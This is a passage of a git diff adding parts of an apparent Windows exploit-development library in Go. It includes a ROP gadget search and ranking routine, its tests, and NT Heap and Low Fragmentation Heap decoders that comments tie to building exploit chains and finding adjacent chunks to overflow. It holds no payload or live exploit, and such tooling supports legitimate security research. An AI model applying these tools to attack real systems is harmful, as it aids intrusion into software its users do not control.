!= nil { + return nil, err + } + if addr < imageBase { + return nil, fmt.Errorf("address is below ImageBase") + } + rva := uint32(addr - imageBase) + offset := r.pe.RVAToFileOffset(rva) + if offset == 0 { + return nil, fmt.Errorf("address does not map to any section") + } + + buf := make([]byte, 16*count) + n, _ := r.pe.r.ReadAt(buf, offset) + buf = buf[:n] + + var lines []string + pos := 0 + for i := 0; i < count && pos < len(buf); i++ { + inst, err := x86asm.Decode(buf[pos:], r.mode) + if err != nil { + return lines, fmt.Errorf("decode failed at +%d: %w", pos, err) + } + lines = append(lines, strings.ToLower(x86asm.IntelSyntax(inst, addr+uint64(pos), nil))) + pos += inst.Len + } + return lines, nil +} + +// Find returns every gadget whose formatted instruction text contains +// pattern as a substring, ranked so index 0 is the best candidate to use -- +// the one-expression version of Search for the common case: +// +// rop.Find("pop rcx ; ret")[0].Address +// +// Ranking, in order: an exact match to pattern beats a mere substring match +// (a bare "pop rcx ; ret" outranks "ror byte [rax-0x1], 0x15 ; pop rcx ; +// ret" even though both contain the pattern and the latter may sit at a +// numerically lower address); shorter instruction text (fewer side-effect +// instructions riding along) beats longer; address ascending breaks +// remaining ties for determinism. Without this, sorting by raw address +// alone can hand back a "dirty" multi-instruction gadget at [0] purely +// because it happens to start a few bytes earlier in memory. +// +// Indexing an empty result panics -- deliberate for exploit scripts: fail +// loudly at the gadget lookup itself, not three chain-steps later against a +// garbage address. +func (r *ROP) Find(pattern string) []Gadget { + needle := strings.ToLower(pattern) + var out []Gadget + for _, g := range r.gadgets { + if strings.Contains(strings.ToLower(g.Instructions), needle) { + out = append(out, g) + } + } + sort.Slice(out, func(i, j int) bool { + ei, ej := strings.EqualFold(out[i].Instructions, pattern), strings.EqualFold(out[j].Instructions, pattern) + if ei != ej { + return ei + } + if len(out[i].Instructions) != len(out[j].Instructions) { + return len(out[i].Instructions) < len(out[j].Instructions) + } + return out[i].Address < out[j].Address + }) + return out +} + +// SearchRegex finds gadgets whose instruction text matches the given +// regular expression (e.g. `^pop r[a-z]+ ; ret$`), for when a plain +// substring (Search/Find) isn't precise enough. +func (r *ROP) SearchRegex(pattern string) ([]Gadget, error) { + re, err := regexp.Compile(pattern) + if err != nil { + return nil, err + } + + var results []Gadget + for _, g := range r.gadgets { + if re.MatchString(strings.ToLower(g.Instructions)) { + results = append(results, g) + } + } + if len(results) == 0 { + return nil, fmt.Errorf("no gadget matched regex %q", pattern) + } + return results, nil +} diff --git a/gadgets_test.go b/gadgets_test.go new file mode 100644 index 0000000..7cd2c59 --- /dev/null +++ b/gadgets_test.go @@ -0,0 +1,163 @@ +package winpwn + +import ( + "os" + "testing" +) + +// testFixturePE is a real PE32+ checked into the repo (examples/bof_basic), +// used by the ROP-level tests below to validate parsing against an actual +// binary rather than only hand-built Gadget slices. +const testFixturePE = "examples/bof_basic/bof_win.c.exe" + +func requireFixturePE(t *testing.T) { + if _, err := os.Stat(testFixturePE); err != nil { + t.Skipf("fixture %s not present: %v", testFixturePE, err) + } +} + +// requireRPWinTool skips a test if rp-win.exe isn't resolvable -- NewROP +// shells out to it, so integration tests that build a real ROP need it +// installed the same way a real target binary needs to exist. +func requireRPWinTool(t *testing.T) { + toolPath := os.Getenv("RP_WIN_EXE") + if toolPath == "" { + toolPath = defaultRPWinTool + } + if _, err := os.Stat(toolPath); err != nil { + t.Skipf("rp-win.exe not present at %s: %v", toolPath, err) + } +} + +// The Find/SearchRegex tests below construct a *ROP directly from a +// hand-built gadgets slice, bypassing NewROP entirely -- these two methods +// only ever read r.gadgets, so this exercises the actual filtering/sorting +// logic without needing rp-win.exe or a real PE on the test machine. + +func TestROPFindSortsByAddressAscendingAsTiebreak(t *testing.T) { + r := &ROP{gadgets: []Gadget{ + {Address: 0x3000, Instructions: "pop rcx ; ret"}, + {Address: 0x1000, Instructions: "pop rcx ; ret"}, + {Address: 0x2000, Instructions: "pop rcx ; ret"}, + }} + + found := r.Find("pop rcx ; ret") + if len(found) != 3 { + t.Fatalf("expected 3 matches, got %d", len(found)) + } + for i := 1; i < len(found); i++ { + if found[i-1].Address > found[i].Address { + t.Fatalf("results not sorted ascending among equal-quality matches: %v", found) + } + } + if found[0].Address != 0x1000 { + t.Errorf("Find(...)[0] should be the lowest address among ties, got 0x%X", found[0].Address) + } +} + +func TestROPFindPrefersExactMatchOverDirtySubstring(t *testing.T) { + // Regression test for a real bug caught against kernel32.dll: sorting + // purely by address let a "dirty" longer gadget win [0] over the clean + // one just because it happened to start a few bytes earlier in memory + // (0x1800198B7 < 0x1800198BB numerically, even though only the latter + // is a bare "pop rcx ; ret" with no side effects). + r := &ROP{gadgets: []Gadget{ + {Address: 0x1800198B7, Instructions: "ror byte [rax-0x1], 0x15 ; pop rcx ; ret"}, + {Address: 0x1800198BB, Instructions: "pop rcx ; ret"}, + }} + + found := r.Find("pop rcx ; ret") + if len(found) != 2 { + t.Fatalf("expected 2 matches, got %d", len(found)) + } + if found[0].Address != 0x1800198BB || found[0].Instructions != "pop rcx ; ret" { + t.Errorf("Find(...)[0] should be the clean exact-match gadget, got %+v", found[0]) + } +} + +func TestROPFindSubstringMatchIsCaseInsensitive(t *testing.T) { + r := &ROP{gadgets: []Gadget{ + {Address: 0x1000, Instructions: "POP RCX ; RET"}, + {Address: 0x2000, Instructions: "pop rdx ; ret"}, + }} + + found := r.Find("pop rcx ; ret") + if len(found) != 1 || found[0].Address != 0x1000 { + t.Errorf("expected a case-insensitive match on 0x1000, got %v", found) + } +} + +func TestROPFindReturnsEmptyWhenNoMatch(t *testing.T) { + r := &ROP{gadgets: []Gadget{{Address: 0x1000, Instructions: "pop rcx ; ret"}}} + + found := r.Find("pop rbp ; ret") + if len(found) != 0 { + t.Errorf("expected no matches, got %v", found) + } +} + +func TestROPFindEmptyIndexPanics(t *testing.T) { + // Documented behavior: indexing an empty Find() result panics rather + // than silently handing back a zero-value Gadget -- an exploit script + // should fail loudly at the gadget lookup, not against a garbage + // address three chain-steps later. + defer func() { + if recover() == nil { + t.Error("expected indexing an empty Find() result to panic") + } + }() + r := &ROP{gadgets: nil} + _ = r.Find("nonexistent")[0] +} + +func TestROPSearchRegexOnHandBuiltGadgets(t *testing.T) { + r := &ROP{gadgets: []Gadget{ + {Address: 0x1000, Instructions: "pop rcx ; ret"}, + {Address: 0x2000, Instructions: "pop rdx ; ret"}, + {Address: 0x3000, Instructions: "mov [rcx], eax ; ret"}, + }} + + gadgets, err := r.SearchRegex(`^pop r\w+ ; ret$`) + if err != nil { + t.Fatal(err) + } + if len(gadgets) != 2 { + t.Errorf("expected 2 pop-reg-then-ret gadgets, got %d: %v", len(gadgets), gadgets) + } +} + +func TestROPFindsRetGadget(t *testing.T) { + requireFixturePE(t) + requireRPWinTool(t) + rop, err := NewROP(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer rop.Close() + + gadgets, err := rop.Search("ret") + if err != nil { + t.Fatal(err) + } + if len(gadgets) == 0 { + t.Error("expected at least one 'ret' gadget in a real x64 binary") + } +} + +func TestROPSearchRegex(t *testing.T) { + requireFixturePE(t) + requireRPWinTool(t) + rop, err := NewROP(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer rop.Close() + + gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) + if err != nil { + t.Fatal(err) + } + if len(gadgets) == 0 { + t.Error("expected at least one pop-reg-then-ret gadget") + } +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..73d6a77 --- /dev/null +++ b/go.mod @@ -0,0 +1,8 @@ +module winpwn + +go 1.26.2 + +require ( + golang.org/x/arch v0.28.0 + golang.org/x/sys v0.46.0 +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..74e8c6f --- /dev/null +++ b/go.sum @@ -0,0 +1,4 @@ +golang.org/x/arch v0.28.0 h1:wVwVdqsTuUbJvhYVCspQYwZXHNYeLSoZnmHD+ggddpQ= +golang.org/x/arch v0.28.0/go.mod h1:0X+GdSIP+kL5wPmpK7sdkEVTt2XoYP0cSjQSbZBwOi8= +golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw= +golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/heap.go b/heap.go new file mode 100644 index 0000000..dc72e6b --- /dev/null +++ b/heap.go @@ -0,0 +1,520 @@ +package winpwn + +import ( + "encoding/binary" + "fmt" + "io" +) + +// This file is the foundation layer of winpwn's heap-structure parsing +// (ROADMAP.md's Phase 9): decoding the NT Heap's on-disk^Won-memory layout +// directly off a ReaderAt, the same "works identically against a file or a +// live process" design PEFile already uses for PE images. Everything here +// works against any io.ReaderAt -- a *ProcessMemory, a *Debugger (via a +// thin adapter), or a synthetic in-memory buffer in a test -- so it has no +// build tag despite being Windows-structure-specific; only *finding* a +// heap address in a live process (heap_windows.go's ListProcessHeaps) needs +// actual Windows syscalls. +// +// Every offset/field below was cross-checked against `dt ntdll!_HEAP` and +// friends via cdb (public ntdll symbols carry full type info even without +// source) on this machine's build (10.0.26100, Windows 11 24H2) -- not +// copied from a blog post and not guessed from memory. The decode logic +// specifically (DecodeHeapEntry's XOR-encoding handling and the +// Size/UnusedBytes arithmetic) was verified against `!heap -a`'s own +// ground-truth entry listing for three real allocations of different +// sizes before being trusted -- see heap_test.go's +// TestDecodeHeapEntryMatchesLiveGroundTruth for the exact captured bytes +// and the discovery that cost the most back-and-forth: UserSize is +// `Size*HeapEntrySize - UnusedBytes` with NO separate subtraction for the +// header, not the more "obvious" `Size*HeapEntrySize - HeapEntrySize - +// UnusedBytes` -- UnusedBytes already accounts for the header itself, a +// detail no amount of reading the struct definition alone would have +// caught without comparing against real numbers. +// +// Struct layouts are a moving target across Windows builds -- if you're +// reading this on a different build and something doesn't line up, redo +// the `dt ntdll!_HEAP` capture in USAGE.md's heap walkthrough rather than +// assuming these offsets still hold. + +// HeapKind identifies which allocator backend a heap handle is using, +// determined the same way HeapAlloc itself effectively does: by the magic +// signature 0x10 bytes into the handle (verified earlier in this project +// against examples/heap_lfh and examples/heap_segment: 0xffeeffee for the +// classic NT Heap, 0xddeeddee for Segment Heap). +type HeapKind int + +const ( + HeapKindUnknown HeapKind = iota + HeapKindNT + HeapKindSegment +) + +func (k HeapKind) String() string { + switch k { + case HeapKindNT: + return "NT Heap" + case HeapKindSegment: + return "Segment Heap" + default: + return "unknown" + } +} + +const ( + heapSignatureNT = 0xffeeffee + heapSignatureSegment = 0xddeeddee +) + +// DetectHeapKind reads the 4-byte signature at heapAddr+0x10 -- the very +// first thing to do with any heap handle/address before parsing it any +// further, since _HEAP and _SEGMENT_HEAP are structurally unrelated past +// this point. +func DetectHeapKind(r io.ReaderAt, heapAddr uint64) (HeapKind, error) { + sig, err := readUint32AtValue(r, int64(heapAddr)+0x10) + if err != nil { + return HeapKindUnknown, fmt.Errorf("reading signature at 0x%x+0x10: %w", heapAddr, err) + } + switch sig { + case heapSignatureNT: + return HeapKindNT, nil + case heapSignatureSegment: + return HeapKindSegment, nil + default: + return HeapKindUnknown, fmt.Errorf("unrecognized heap signature 0x%08x at 0x%x+0x10 (expected 0x%08x NT Heap or 0x%08x Segment Heap)", + sig, heapAddr, heapSignatureNT, heapSignatureSegment) + } +} + +// HeapEntrySize is HEAP_GRANULARITY on x64: every _HEAP_ENTRY header is +// exactly this many bytes, and Size/PreviousSize are both counted in units +// of it, not in plain bytes. Confirmed empirically (heap_test.go), not +// just asserted from the struct definition -- see this file's top comment. +const HeapEntrySize = 0x10 + +// _HEAP_ENTRY.Flags bits. Long-standing, widely published constants (every +// heap-exploitation writeup and WinDbg's own !heap extension use these same +// values), unlike the struct offsets above which are this-build-specific -- +// these have been stable since before Windows 8's header encoding existed. +const ( + HeapEntryBusy = 0x01 + HeapEntryExtraPresent = 0x02 + HeapEntryFillPattern = 0x04 + HeapEntryVirtualAlloc = 0x08 + HeapEntryLastEntry = 0x10 +) + +// HeapEntry is the decoded form of a 16-byte _HEAP_ENTRY header -- the +// thing immediately preceding every NT Heap allocation's user data, +// equally present whether or not LFH/the front-end allocator owns the +// block (see this file's WalkSegment vs heap_lfh.go's subsegment-aware +// walk for why both views matter). +type HeapEntry struct { + Addr uint64 // address of the header itself, i.e. UserData()-HeapEntrySize + Size uint16 // total block size (header+user data+padding), in HeapEntrySize units + Flags uint8 + SmallTagIndex uint8 + PreviousSize uint16 // previous block's total size, same units -- lets you walk backward + SegmentOffset uint8 // doubles as LFHFlags when this entry belongs to an LFH subsegment + UnusedBytes uint8 +} + +func (e HeapEntry) Busy() bool { return e.Flags&HeapEntryBusy != 0 } +func (e HeapEntry) LastEntry() bool { return e.Flags&HeapEntryLastEntry != 0 } +func (e HeapEntry) VirtualAlloc() bool { return e.Flags&HeapEntryVirtualAlloc != 0 } + +// BlockSize is the entry's total physical footprint (header + user data + +// any padding), in bytes. +func (e HeapEntry) BlockSize() uint64 { return uint64(e.Size) * HeapEntrySize } + +// PreviousBlockSize is the immediately preceding entry's BlockSize, in +// bytes -- lets you find where the previous entry starts without having +// walked there directly (e.Addr - e.PreviousBlockSize()). +func (e HeapEntry) PreviousBlockSize() uint64 { return uint64(e.PreviousSize) * HeapEntrySize } + +// UserData is the address HeapAlloc actually returned to the caller. +func (e HeapEntry) UserData() uint64 { return e.Addr + HeapEntrySize } + +// UserSize is what HeapSize() would report for this block -- the original +// requested size (rounded up to grain, header already accounted for). +// Empirically, this is BlockSize()-UnusedBytes with no separate header +// subtraction; see this file's top comment for how that was confirmed. +func (e HeapEntry) UserSize() uint64 { + bs := e.BlockSize() + if uint64(e.UnusedBytes) > bs { + return 0 + } + return bs - uint64(e.UnusedBytes) +} + +// NextEntry is the address of the entry immediately following this one. +func (e HeapEntry) NextEntry() uint64 { return e.Addr + e.BlockSize() } + +// DecodeHeapEntry decodes a raw 16-byte _HEAP_ENTRY read from addr, +// reversing the Windows 8+ header-encoding mitigation if encoding is +// non-nil (pass Heap.Encoding; nil only if you've separately confirmed +// EncodeFlagMask is 0 for this heap, which is rare in practice). Only +// bytes 8-15 of the entry are ever encoded -- bytes 0-7 +// (PreviousBlockPrivateData) are plain, usually-stale data, not part of +// the XOR scheme at all. +func DecodeHeapEntry(addr uint64, raw [16]byte, encoding *[16]byte) HeapEntry { + var compact [8]byte + copy(compact[:], raw[8:16]) + if encoding != nil { + for i := range compact { + compact[i] ^= encoding[8+i] + } + } + return HeapEntry{ + Addr: addr, + Size: binary.LittleEndian.Uint16(compact[0:2]), + Flags: compact[2], + SmallTagIndex: compact[3], + PreviousSize: binary.LittleEndian.Uint16(compact[4:6]), + SegmentOffset: compact[6], + UnusedBytes: compact[7], + } +} + +// ReadHeapEntry reads and decodes the entry header at addr. +func ReadHeapEntry(r io.ReaderAt, addr uint64, encoding *[16]byte) (HeapEntry, error) { + var raw [16]byte + if _, err := r.ReadAt(raw[:], int64(addr)); err != nil { + return HeapEntry{}, fmt.Errorf("reading entry at 0x%x: %w", addr, err) + } + return DecodeHeapEntry(addr, raw, encoding), nil +} + +// Offsets within ntdll's x64 _HEAP, confirmed via `dt ntdll!_HEAP` against +// this machine's build (10.0.26100) -- see this file's top comment. +const ( + heapOffBaseAddress = 0x030 // _HEAP_SEGMENT.BaseAddress (the embedded Segment0) + heapOffFirstEntry = 0x040 // _HEAP_SEGMENT.FirstEntry + heapOffLastValidEntry = 0x048 // _HEAP_SEGMENT.LastValidEntry + heapOffSegmentListEntry = 0x018 // _HEAP_SEGMENT.SegmentListEntry (LIST_ENTRY) + heapOffFlags = 0x070 + heapOffForceFlags = 0x074 + heapOffEncodeFlagMask = 0x07c + heapOffEncoding = 0x080 // _HEAP_ENTRY-shaped, 16 bytes + heapOffSignature = 0x098 + heapOffSegmentList = 0x120 // LIST_ENTRY, head of all _HEAP_SEGMENTs (including Segment0 itself) + heapOffFrontEndHeap = 0x198 + heapOffFrontEndHeapType = 0x1a2 +) + +// FrontEndHeapType values (_HEAP.FrontEndHeapType). +const ( + FrontEndHeapNone = 0 + FrontEndHeapLookaside = 1 // legacy, rarely seen on modern Windows + FrontEndHeapLFH = 2 +) + +// Heap is the decoded subset of ntdll's _HEAP that matters for +// exploitation -- not a byte-for-byte mirror of the ~700-byte real struct +// (most of it is debug/tuning bookkeeping no script needs), the same +// "decode what's useful, expose RawStream for the rest" philosophy +// minidump.go uses. +type Heap struct { + Addr uint64 + Signature uint32 // 0xeeffeeff on a real heap -- confirmed live; deliberately byte-rotated from _HEAP_SEGMENT's 0xffeeffee, a different field, not a typo if you see both + Flags uint32 + ForceFlags uint32 + EncodeFlagMask uint32 + Encoding [16]byte // pass to DecodeHeapEntry/ReadHeapEntry + FrontEndHeapType uint8 + FrontEndHeap uint64 // *_LFH_HEAP when FrontEndHeapType == FrontEndHeapLFH + BaseAddress uint64 // Segment0's base address + FirstEntry uint64 // Segment0's first entry + LastValidEntry uint64 // Segment0's end-of-committed-range marker +} + +// readUint32AtValue mirrors minidump.go's readUint32At but returns the +// value directly instead of writing through an out-pointer, matching this +// file's other readXAt helpers below. +func readUint32AtValue(r io.ReaderAt, offset int64) (uint32, error) { + var buf [4]byte + if _, err := r.ReadAt(buf[:], offset); err != nil { + return 0, err + } + return binary.LittleEndian.Uint32(buf[:]), nil +} + +func readUint64At(r io.ReaderAt, offset int64) (uint64, error) { + var buf [8]byte + if _, err := r.ReadAt(buf[:], offset); err != nil { + return 0, err + } + return binary.LittleEndian.Uint64(buf[:]), nil +} + +func readUint8At(r io.ReaderAt, offset int64) (uint8, error) { + var buf [1]byte + if _, err := r.ReadAt(buf[:], offset); err != nil { + return 0, err + } + return buf[0], nil +} + +// ReadHeap decodes addr's _HEAP header. Returns an error if addr's +// signature isn't the NT Heap one (use DetectHeapKind first if you don't +// already know, or ReadSegmentHeap for a 0xddeeddee handle). +func ReadHeap(r io.ReaderAt, addr uint64) (*Heap, error) { + kind, err := DetectHeapKind(r, addr) + if err != nil { + return nil, err + } + if kind != HeapKindNT { + return nil, fmt.Errorf("0x%x is a %s, not an NT Heap", addr, kind) + } + + h := &Heap{Addr: addr} + if h.Signature, err = readUint32AtValue(r, int64(addr)+heapOffSignature); err != nil { + return nil, fmt.Errorf("Signature: %w", err) + } + if h.Flags, err = readUint32AtValue(r, int64(addr)+heapOffFlags); err != nil { + return nil, fmt.Errorf("Flags: %w", err) + } + if h.ForceFlags, err = readUint32AtValue(r, int64(addr)+heapOffForceFlags); err != nil { + return nil, fmt.Errorf("ForceFlags: %w", err) + } + if h.EncodeFlagMask, err = readUint32AtValue(r, int64(addr)+heapOffEncodeFlagMask); err != nil { + return nil, fmt.Errorf("EncodeFlagMask: %w", err) + } + if _, err = r.ReadAt(h.Encoding[:], int64(addr)+heapOffEncoding); err != nil { + return nil, fmt.Errorf("Encoding: %w", err) + } + if h.FrontEndHeapType, err = readUint8At(r, int64(addr)+heapOffFrontEndHeapType); err != nil { + return nil, fmt.Errorf("FrontEndHeapType: %w", err) + } + if h.FrontEndHeap, err = readUint64At(r, int64(addr)+heapOffFrontEndHeap); err != nil { + return nil, fmt.Errorf("FrontEndHeap: %w", err) + } + if h.BaseAddress, err = readUint64At(r, int64(addr)+heapOffBaseAddress); err != nil { + return nil, fmt.Errorf("BaseAddress: %w", err) + } + if h.FirstEntry, err = readUint64At(r, int64(addr)+heapOffFirstEntry); err != nil { + return nil, fmt.Errorf("FirstEntry: %w", err) + } + if h.LastValidEntry, err = readUint64At(r, int64(addr)+heapOffLastValidEntry); err != nil { + return nil, fmt.Errorf("LastValidEntry: %w", err) + } + return h, nil +} + +// EncodingActive reports whether this heap actually applies the +// header-encoding mitigation -- EncodeFlagMask is occasionally zero (e.g. +// explicitly disabled via HeapSetInformation), in which case +// DecodeHeapEntry should be called with encoding=nil instead of +// h.Encoding (an all-zero or stale key would silently corrupt every +// decode otherwise). +func (h *Heap) EncodingActive() bool { return h.EncodeFlagMask != 0 } + +// encodingOrNil returns &h.Encoding if encoding is actually active, else +// nil -- the one-line helper every entry-decoding call in this package +// uses instead of repeating the EncodingActive() check. +func (h *Heap) encodingOrNil() *[16]byte { + if h.EncodingActive() { + return &h.Encoding + } + return nil +} + +// WalkSegmentEntries decodes every _HEAP_ENTRY from firstEntry up to (not +// including) lastValidEntry -- the same chain `!heap -a` itself walks to +// print its block-by-block summary, which is what this decoder was +// cross-checked against (see heap_test.go). Stops early if an entry +// reports LastEntry(), and returns an error rather than looping forever if +// an entry's Size decodes to zero (a corrupted heap or a wrong/missing +// encoding key can't make forward progress otherwise). +// +// lastValidEntry is misleadingly named for this purpose: it marks the end +// of the segment's *reserved* address range, not its *committed* one, and +// `!heap -a` itself shows real heaps routinely ending with an uncommitted +// tail before that address is reached -- confirmed live against a real +// process while building this (see USAGE.md's heap walkthrough). A read +// failure partway through is therefore treated as "the committed entry +// chain ended here", not a hard error -- everything decoded up to that +// point is still returned. +func WalkSegmentEntries(r io.ReaderAt, firstEntry, lastValidEntry uint64, encoding *[16]byte) ([]HeapEntry, error) { + var entries []HeapEntry + addr := firstEntry + for addr < lastValidEntry { + e, err := ReadHeapEntry(r, addr, encoding) + if err != nil { + return entries, nil + } + entries = append(entries, e) + if e.Size == 0 { + return entries, fmt.Errorf("zero-size entry at 0x%x -- stopping to avoid an infinite loop (corrupted heap, or wrong/missing encoding key?)", addr) + } + if e.LastEntry() { + break + } + addr = e.NextEntry() + } + return entries, nil +} + +// WalkSegment0 walks this heap's embedded first segment -- the common +// case for any heap that hasn't grown past one segment. Use Segments + +// ReadSegmentRange + WalkSegmentEntries directly for a heap with more +// than one. +func (h *Heap) WalkSegment0(r io.ReaderAt) ([]HeapEntry, error) { + return WalkSegmentEntries(r, h.FirstEntry, h.LastValidEntry, h.encodingOrNil()) +} + +// ReadSegmentRange reads a _HEAP_SEGMENT's FirstEntry/LastValidEntry/ +// BaseAddress -- segAddr is anything Segments returns (Segment0's address +// equals the owning Heap's own address, since _HEAP embeds it at offset 0). +func ReadSegmentRange(r io.ReaderAt, segAddr uint64) (baseAddress, firstEntry, lastValidEntry uint64, err error) { + if baseAddress, err = readUint64At(r, int64(segAddr)+heapOffBaseAddress); err != nil { + return 0, 0, 0, fmt.Errorf("BaseAddress: %w", err) + } + if firstEntry, err = readUint64At(r, int64(segAddr)+heapOffFirstEntry); err != nil { + return 0, 0, 0, fmt.Errorf("FirstEntry: %w", err) + } + if lastValidEntry, err = readUint64At(r, int64(segAddr)+heapOffLastValidEntry); err != nil { + return 0, 0, 0, fmt.Errorf("LastValidEntry: %w", err) + } + return baseAddress, firstEntry, lastValidEntry, nil +} + +// Segments returns the address of every _HEAP_SEGMENT belonging to this +// heap (walking the SegmentList LIST_ENTRY), including Segment0 (whose +// address is h.Addr itself, since _HEAP embeds its first segment at +// offset 0 -- the same struct-embedding pattern _HEAP_SEGMENT.Entry/ +// SegmentSignature being literally at offset 0/0x10 of _HEAP relies on). +// Most heaps never grow past one segment; HeapCreate(0,0,0)-style growable +// heaps under sustained allocation pressure can. +func (h *Heap) Segments(r io.ReaderAt) ([]uint64, error) { + headAddr := h.Addr + heapOffSegmentList + cur, err := readUint64At(r, int64(headAddr)) + if err != nil { + return nil, fmt.Errorf("reading SegmentList head at 0x%x: %w", headAddr, err) + } + + var segments []uint64 + for cur != headAddr && cur != 0 { + segments = append(segments, cur-heapOffSegmentListEntry) + if len(segments) > 4096 { + return segments, fmt.Errorf("SegmentList walk exceeded 4096 entries, stopping (corrupted list?)") + } + next, err := readUint64At(r, int64(cur)) // Flink is LIST_ENTRY's first field + if err != nil { + return segments, fmt.Errorf("walking SegmentList at 0x%x: %w", cur, err) + } + cur = next + } + return segments, nil +} + +// WalkAllHeapEntries decodes every entry in every segment of h -- calls +// WalkSegment0 for the embedded first segment, then enumerates any +// additional registered segments from Segments() and walks each one. The +// returned slice is in address order, one segment after another. Segment +// walk errors are returned immediately (unlike the uncommitted-tail +// read-failure inside WalkSegmentEntries itself, which is graceful). +func (h *Heap) WalkAllHeapEntries(r io.ReaderAt) ([]HeapEntry, error) { + entries, err := h.WalkSegment0(r) + if err != nil { + return nil, fmt.Errorf("segment0 walk: %w", err) + } + segs, err := h.Segments(r) + if err != nil { + return entries, fmt.Errorf("Segments(): %w", err) + } + for _, segAddr := range segs { + if segAddr == h.Addr { + continue // segment0 already walked above + } + _, first, last, err := ReadSegmentRange(r, segAddr) + if err != nil { + return entries, fmt.Errorf("ReadSegmentRange(0x%x): %w", segAddr, err) + } + more, err := WalkSegmentEntries(r, first, last, h.encodingOrNil()) + if err != nil { + return entries, fmt.Errorf("walking segment 0x%x: %w", segAddr, err) + } + entries = append(entries, more...) + } + return entries, nil +} + +// HeapStats summarises an NT Heap's entry layout across a slice of decoded +// entries (typically from WalkAllHeapEntries or a per-segment walk). +type HeapStats struct { + TotalEntries int + BusyEntries int + FreeEntries int + BusyBytes uint64 // sum of UserSize() for busy entries + FreeBytes uint64 // sum of BlockSize() for free entries +} + +// SummariseEntries computes a HeapStats over any entry slice -- useful after +// WalkAllHeapEntries, WalkSegment0, or any filtered subset. +func SummariseEntries(entries []HeapEntry) HeapStats { + var s HeapStats + s.TotalEntries = len(entries) + for _, e := range entries { + if e.Busy() { + s.BusyEntries++ + s.BusyBytes += e.UserSize() + } else { + s.FreeEntries++ + s.FreeBytes += e.BlockSize() + } + } + return s +} + +// EntriesInRange returns the subset of entries whose header address falls +// within [lo, hi) -- useful for filtering down to a known allocation region +// (e.g. one specific segment) without re-walking. +func EntriesInRange(entries []HeapEntry, lo, hi uint64) []HeapEntry { + var out []HeapEntry + for _, e := range entries { + if e.Addr >= lo && e.Addr < hi { + out = append(out, e) + } + } + return out +} + +// EntriesWithUserData returns every entry whose UserData() (the address +// returned by HeapAlloc) equals any address in the addrs set -- direct +// reverse lookup from leaked heap pointer to its decoded entry. +func EntriesWithUserData(entries []HeapEntry, addrs ...uint64) []HeapEntry { + set := make(map[uint64]struct{}, len(addrs)) + for _, a := range addrs { + set[a] = struct{}{} + } + var out []HeapEntry + for _, e := range entries { + if _, ok := set[e.UserData()]; ok { + out = append(out, e) + } + } + return out +} + +// AdjacentBusyPairs returns every pair of busy entries that are physically +// consecutive with no intervening free chunk -- i.e. entries[i+1].Addr == +// entries[i].NextEntry(), both busy. This is the structural replacement for +// examples/heap_segment's "spray many, look for a 32-byte gap" technique: +// instead of spraying and comparing leaked addresses, read the allocator's +// own chain to find which two allocations are adjacent before overflowing. +// +// Note: the returned pairs are in chain order, not insertion order. On NT +// Heap the chain order matches allocation order within a given segment; +// whether that's also true for Segment Heap's small-block allocator is not +// yet confirmed on this build -- see heap_segment.go. +func AdjacentBusyPairs(entries []HeapEntry) [][2]HeapEntry { + var pairs [][2]HeapEntry + for i := 0; i+1 < len(entries); i++ { + a, b := entries[i], entries[i+1] + if a.Busy() && b.Busy() && b.Addr == a.NextEntry() { + pairs = append(pairs, [2]HeapEntry{a, b}) + } + } + return pairs +} diff --git a/heap_lfh.go b/heap_lfh.go new file mode 100644 index 0000000..689b3c3 --- /dev/null +++ b/heap_lfh.go @@ -0,0 +1,311 @@ +package winpwn + +import ( + "encoding/binary" + "fmt" + "io" +) + +// This file is the LFH (Low Fragmentation Heap) layer on top of heap.go's +// plain NT Heap decoder -- the layer ROADMAP.md's Phase 9 plan called out +// as the real acceptance test: replace examples/heap_lfh's empirically- +// discovered "free the most recently allocated object" heuristic with a +// structural answer to "which block in the active subsegment is actually +// free right now", read directly off the live process. +// +// Offsets confirmed via `dt ntdll!_LFH_HEAP` and friends on this machine's +// build (10.0.26100) -- same methodology as heap.go, see its top comment. +// Live-validated end to end against examples/heap_lfh.exe itself: spray a +// batch of Notes, free one, calibrate against a known address, and confirm +// ReadLFHSubsegment's BusyBitmap reports exactly that block's slot as free +// and every other allocated slot as busy -- see USAGE.md's heap walkthrough +// for the exact run. + +const ( + lfhOffBuckets = 0x2a4 // [129]_HEAP_BUCKET, 4 bytes each, inside _LFH_HEAP + lfhOffSegmentInfoArrays = 0x4a8 // [129]Ptr64 _HEAP_LOCAL_SEGMENT_INFO + lfhBucketCount = 129 + lfhBucketStride = 4 + + hlsiOffActiveSubsegment = 0x008 // _HEAP_LOCAL_SEGMENT_INFO.ActiveSubsegment + + subsegOffUserBlocks = 0x008 // _HEAP_SUBSEGMENT.UserBlocks + subsegOffBlockSize = 0x024 // uint16, granularity units -- same scheme as HeapBucket.BlockUnits, NOT raw bytes (see below) + subsegOffBlockCount = 0x028 // uint16, blocks in this subsegment + + userDataOffBitmapSize = 0x020 // uint64, _RTL_BITMAP_EX.SizeOfBitMap (bits) + userDataOffBitmapBuffer = 0x028 // ptr64, _RTL_BITMAP_EX.Buffer +) + +// HeapBucket is one entry of _LFH_HEAP.Buckets -- which fixed block size +// this size class hands out. +type HeapBucket struct { + Index int + BlockUnits uint16 // granularity units; BlockSize() = BlockUnits*HeapEntrySize + SizeIndex uint8 + RawFlags uint8 +} + +func (b HeapBucket) BlockSize() uint64 { return uint64(b.BlockUnits) * HeapEntrySize } + +// ReadLFHBuckets reads every entry of lfhHeapAddr's (a Heap.FrontEndHeap +// pointer) Buckets array. +func ReadLFHBuckets(r io.ReaderAt, lfhHeapAddr uint64) ([lfhBucketCount]HeapBucket, error) { + var buckets [lfhBucketCount]HeapBucket + var buf [lfhBucketCount * lfhBucketStride]byte + if _, err := r.ReadAt(buf[:], int64(lfhHeapAddr)+lfhOffBuckets); err != nil { + return buckets, fmt.Errorf("reading Buckets array: %w", err) + } + for i := 0; i < lfhBucketCount; i++ { + off := i * lfhBucketStride + buckets[i] = HeapBucket{ + Index: i, + BlockUnits: binary.LittleEndian.Uint16(buf[off : off+2]), + SizeIndex: buf[off+2], + RawFlags: buf[off+3], + } + } + return 